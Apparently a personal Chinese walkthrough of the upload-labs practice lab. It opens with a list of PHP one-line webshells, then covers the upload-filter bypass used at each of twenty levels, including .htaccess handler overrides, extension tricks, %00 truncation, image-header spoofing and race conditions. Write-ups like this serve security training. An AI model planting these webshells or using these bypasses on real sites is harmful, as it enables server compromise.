Upload闯关记录
开篇
🌞学习的好日子
PHP一句话木马
(摘自先知社区 https://xz.aliyun.com/t/2786)
经典语句
<?php @eval($_POST['cmd']);?>
其中: (1) @ 为错误抑制符号 (2) eval 执行php代码 (3) $_POST['cmd'] 通过post接收的数据 意思为eval把接受的数据当做php代码执行
其他函数
create_function 函数
<?php
$fun = create_function('',$_POST['a']);
$fun();
?>
call_user_func 函数
<?php
@call_user_func(assert,$_POST['a']);
?>
assert
<?php assert(@$_POST['a']); ?>
preg_replace函数
<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>
file_put_contents 函数
"shell.php" 4L, 96C
<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("shell2.php", $test);
?>
通关
less-1
1、上传一句话木马,提示上传类型,不准上传php
2、通过F12发现是前端js判断
3、这里我通过谷歌插件quick-javascript-switcher,一键关闭网页的Javascript
4、再次上传一句话木马,上传成功
5、可以通过F12选择上传的图片,可以查看到上传路径
less-2
1、查看源代码,发现只是判断content-type类型
2、通过burpsuite进行抓包改包
3、修改content-type
less-3
1、查看源码,这里是黑名单判断
2、后缀
php3
php5
phtml
pHp3
3、修改后缀绕过
htacess
1、基本作用: .htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。 .htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
.htaccess的用途范围主要针对当前目录。
2、启用.htacess,启用AllowOVerride
less-4
1、查看源码,发现黑名单几乎过滤了所有后缀,除了htaccess
2、上传.htaccess,这样所有的文件都能解析成php
SetHandler application/x-httpd-php
3、再上传图片马,或者txt
4、正常连接
less-5
1、查看源码,还是黑名单判断,最后多了个.htaccess
2、没有将后缀大小写统一,把小写去掉了,大小写绕过
3、
less-6
1、查看源码,没有对结尾进行空处理
2、burpsuite抓包
less-7
1、查看源码,这一关少了个删除文件末尾的点
2、这一关利用windows特性,会自动去掉后缀名中最后的.,可在后缀名中加.绕过,但
Linux测试失败。
less-8
1、查看源码,发现没有对::(DATA进行过滤,此方法只能在windows实现
2、Windows特性 在window的时候如果文件名+"::)DATA"会把::(DATA之后的数据当成文件流处理,不会检测后缀名,且保持::)DATA之前的文件名,他的目的就是不检查后缀名 例如:"shell.php::)DATA"Windows会自动去掉末尾的::)DATA变成"shell.php"
less-9
1、查看源码,发现第十五行发生了变化,这里是拼接删除文件末尾的点的文件名
2、这里就可以利用.+空格+.进行绕过
3、上传的文件名就成为了shell.php. ,在windows会自动过滤结尾的.与空格,linux里不可以
less-10
1、查看源码,这里是通过str_ireplace函数把替换为空
2、这里就可以利用双写绕过 pphphp
%00截断
1、在url中%00表示ascii码中的0,而ascii中0作为特殊字符保留,表示字符串结束
2、限制条件:
php版本要小于5.3.4,5.3.4及以上已经修复该问题 magic_quotes_gpc需要为OFF状态
3、GET传参,直接在后面输入%00即可,在GET传参中url会把%00解码成空字符
4、POST传参,需要把%00进行url编码,在POST传参中,%00不会被url解码
less-11
1、从源码可以看出,这里进行了白名单限制,但$_GET['save_path'],用来get传递参数再加上后缀名
2、burpsuite抓包(我这里没上传成功,因为我的php版本已经修复该问题)
less-12
1、查看源码,与11关不同的是POST传参
2、burpsuite抓包,修改%00进行url编码
less-13
1、这关需要上传图片马,并且要求webshell完整
2、查看源码,只读前2个字节
3、制作图片马,GIF89a图片头欺骗
4、成功上传
less-14
1、查看源码,发现多了几个函数
2、getimagesize
3、image_type_to_extension
4、还是可以利用图片文件头欺骗绕过
less-15
1、查看源码
2、通过exif_imagetype函数检测
3、还是可以利用图片头欺骗绕过
less-16
1、查看源码,先对图片进行验证,判断后缀与类型,然后在对图片进行二次渲染
2、在网上找一个gif图片,先进行上传,发现图片名称发生改变,下载下来,使用十六进制软件进行比对
3、发现其中有一部分没有发生变化,那我们可以在未发生改变的地方,插入我们的一句话木马
4、使用蚁剑看看能否连接(这里我提前创建了.htaccess文件,可以解析图片)
less-17
1、查看源码
2、从源码可以看出,先允许所有文件上传,然后通过白名单过滤,符合的就改名,不符合条件的再删掉
3、这里我直接使用bp进行爆破。这cookie这里设置变量
4、修改线程,修改payload
5、开始执行可以看到,只要够快。
less-18
1、查看源码,这关也是条件竞争,先是判断类型,再进行移动,最后在改名
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
2、所以这关只能上传图片马,跟17关操作一样
less-19
1、查看源码
2、看黑名单过滤都是小写过滤,没过滤大写,我们可以大写绕过
3、看大佬们教程才知道,这一关考察CVE-2015-2348 move_uploaded_file() 00截断
该CVE漏洞的产生就是由于PHP的move_uploaded_file()函数存在逻辑缺陷所致,这个函数一般在文件上传时被调用!
move_uploaded_file ( string $filename , string $destination )
这次的漏洞就出现在参数$destination,这个参数的是将用户上传的文件移动到最终的目的地址。如果$destionation变量是从用户$_GET或者$_POST中获取的并且我们可控,那么我们就可以利用空字符\00来截断后面的拓展名,从而造成任意文件上传。
4、尝试00截断没成功。挠头
5、查阅资料会忽略掉文件末尾的/.。而代码中的file_name是用户可控的,这就给了我们可以利用的地方,上传一个图片马,将保存名字改为upload.php/.
less-20
1、查看源码
2、在代码的第11行,这里判断$file是否是数组,数组可绕过
$file = explode('.', strtolower($file));
3、审查一下代码,我们可以让(file为数组,)file[0]为upload.php/,(file[2]为jpg,)file[1]为空,这样我们就可以绕过白名单过滤
$file_name = reset($file) . '.' . $file[count($file) - 1];
4、文件名为upload.php/,在move_uploaded_file中会忽略掉最后的/,所以传到服务器上的问upload.php